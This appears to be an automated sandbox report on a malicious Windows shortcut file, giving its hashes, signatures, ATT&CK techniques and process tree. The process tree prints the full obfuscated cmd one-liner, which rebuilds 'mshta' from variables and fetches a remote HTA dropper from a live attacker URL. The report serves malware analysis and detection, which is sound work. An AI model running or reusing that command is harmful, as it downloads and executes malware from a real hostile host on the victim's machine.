e4dfd86dbd026027736b42f40499ded004bb355b997a4adab8a9ae3cb61deab2

Analysis

max time kernel
58s
max time network
36s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
18/08/2026, 15:31

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General

Target
DOC-Y6RZ78.lnk
Size 1KB
Sample260818-syetsavepd
SHA256 e4dfd86dbd026027736b42f40499ded004bb355b997a4adab8a9ae3cb61deab2
MD5 3c1a7709412acb0eec2b3ee498620687
SHA1 de4680f3ce9e6a6b7ea3f728266a82cb443f5d92
SHA512 dc2f71ea98761bf93cd2e897e0a253c81c48efa4a41980e56b5cdbe12de8ef2733e86718c8ac0d52601b6c08a3deb5f2adaaba72a63e0ed5cb75281477bd424d
TLSH
T18D3147103EFD0664F3B79F7684BB5B2089BB78568D10C62E0140864D9472A11EA7AF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1168	cmd.exe
4368	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1168 wrote to memory of 4368	1168	cmd.exe	88
PID 4368 wrote to memory of 4056	4368	cmd.exe	89

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-Y6RZ78.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1168
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set SR=msh&&set SJkLa=ta&&start "" !SR!!SJkLa! https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Windows\System32\mshta.exe
    mshta https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:4056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads